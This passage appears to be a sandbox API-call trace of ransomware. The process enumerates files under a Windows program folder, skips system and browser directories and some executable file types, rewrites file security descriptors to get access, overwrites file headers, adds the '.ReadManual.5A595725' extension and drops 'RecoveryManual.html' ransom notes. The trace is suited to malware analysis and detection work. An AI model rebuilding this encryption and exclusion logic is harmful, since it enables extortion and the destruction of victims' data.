Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0258.112] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 113 [0258.112] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37878111371) returned 1 [0258.112] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png")) returned 0x20 [0258.113] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.113] GetLastError () returned 0x5 [0258.113] GetNamedSecurityInfoW () returned 0x0 [0258.113] SetNamedSecurityInfoW () returned 0x0 [0258.113] SetNamedSecurityInfoW () returned 0x0 [0258.114] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.115] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0258.115] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0258.115] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf2) returned 1 [0258.115] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.115] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.117] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.117] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0258.117] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.117] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37878593470) returned 1 [0258.117] CloseHandle (hObject=0x1a0) returned 1 [0258.117] SetSecurityInfo () returned 0x5 [0258.117] SetSecurityInfo () returned 0x5 [0258.117] LocalFree (hMem=0x674d38) returned 0x0 [0258.117] CloseHandle (hObject=0x184) returned 1 [0258.118] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0258.118] lstrcpyW (in: lpString1=0x6ab90e, lpString2="photograph.png" | out: lpString1="photograph.png") returned="photograph.png" [0258.118] lstrcmpiW (lpString1="photograph.png", lpString2="RecoveryManual.html") returned -1 [0258.118] StrStrIW (lpFirst="photograph.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.118] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.118] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.118] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.118] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.118] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.118] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.118] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.118] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.118] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.118] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.119] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.119] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.119] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.119] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.119] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" [0258.119] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.ReadManual.5A595725" [0258.119] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.ReadManual.5A595725") returned 91 [0258.119] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37878759542) returned 1 [0258.119] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png")) returned 0x20 [0258.119] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.119] GetLastError () returned 0x5 [0258.119] GetNamedSecurityInfoW () returned 0x0 [0258.120] SetNamedSecurityInfoW () returned 0x0 [0258.120] SetNamedSecurityInfoW () returned 0x0 [0258.121] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.121] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=24791) returned 1 [0258.121] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60d7, lpName=0x0) returned 0x1a0 [0258.121] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0258.122] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.122] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.124] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.124] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60d7) returned 0x2f0000 [0258.124] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.124] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37879318292) returned 1 [0258.124] CloseHandle (hObject=0x1a0) returned 1 [0258.125] SetSecurityInfo () returned 0x5 [0258.125] SetSecurityInfo () returned 0x5 [0258.125] LocalFree (hMem=0x674d38) returned 0x0 [0258.125] CloseHandle (hObject=0x184) returned 1 [0258.125] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0258.125] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0258.125] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0258.125] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Travel" | out: lpString1="Travel") returned="Travel" [0258.125] lstrcatW (in: lpString1="Travel", lpString2="\\" | out: lpString1="Travel\\") returned="Travel\\" [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\Windows\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\WINNT") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.125] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.126] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.126] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\") returned 55 [0258.126] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0258.127] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\" [0258.128] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.128] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0258.128] lstrcpyW (in: lpString1=0x6ab90a, lpString2="16_9-frame-background.png" | out: lpString1="16_9-frame-background.png") returned="16_9-frame-background.png" [0258.128] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="RecoveryManual.html") returned -1 [0258.128] StrStrIW (lpFirst="16_9-frame-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.128] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.128] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.128] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.128] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.128] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.128] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.128] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" [0258.128] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.ReadManual.5A595725" [0258.128] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.ReadManual.5A595725") returned 100 [0258.128] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37879692791) returned 1 [0258.128] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png")) returned 0x20 [0258.129] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.129] GetLastError () returned 0x5 [0258.129] GetNamedSecurityInfoW () returned 0x0 [0258.129] SetNamedSecurityInfoW () returned 0x0 [0258.130] SetNamedSecurityInfoW () returned 0x0 [0258.130] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.131] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=28701) returned 1 [0258.131] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x701d, lpName=0x0) returned 0x1a0 [0258.131] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0258.131] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.131] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.133] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.133] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x701d) returned 0x2f0000 [0258.133] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.134] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37880235020) returned 1 [0258.134] CloseHandle (hObject=0x1a0) returned 1 [0258.134] SetSecurityInfo () returned 0x5 [0258.134] SetSecurityInfo () returned 0x5 [0258.134] LocalFree (hMem=0x674d38) returned 0x0 [0258.134] CloseHandle (hObject=0x184) returned 1 [0258.135] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\" [0258.135] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RecoveryManual.html" [0258.135] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0258.136] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0258.137] CloseHandle (hObject=0x184) returned 1 [0258.137] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0258.137] lstrcpyW (in: lpString1=0x6ab90a, lpString2="16_9-frame-highlight.png" | out: lpString1="16_9-frame-highlight.png") returned="16_9-frame-highlight.png" [0258.137] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="RecoveryManual.html") returned -1 [0258.137] StrStrIW (lpFirst="16_9-frame-highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.137] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.137] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.137] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.137] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.137] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.137] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.137] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" [0258.137] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.ReadManual.5A595725" [0258.137] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.ReadManual.5A595725") returned 99 [0258.137] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37880620765) returned 1 [0258.137] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png")) returned 0x20 [0258.138] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.138] GetLastError () returned 0x5 [0258.138] GetNamedSecurityInfoW () returned 0x0 [0258.138] SetNamedSecurityInfoW () returned 0x0 [0258.138] 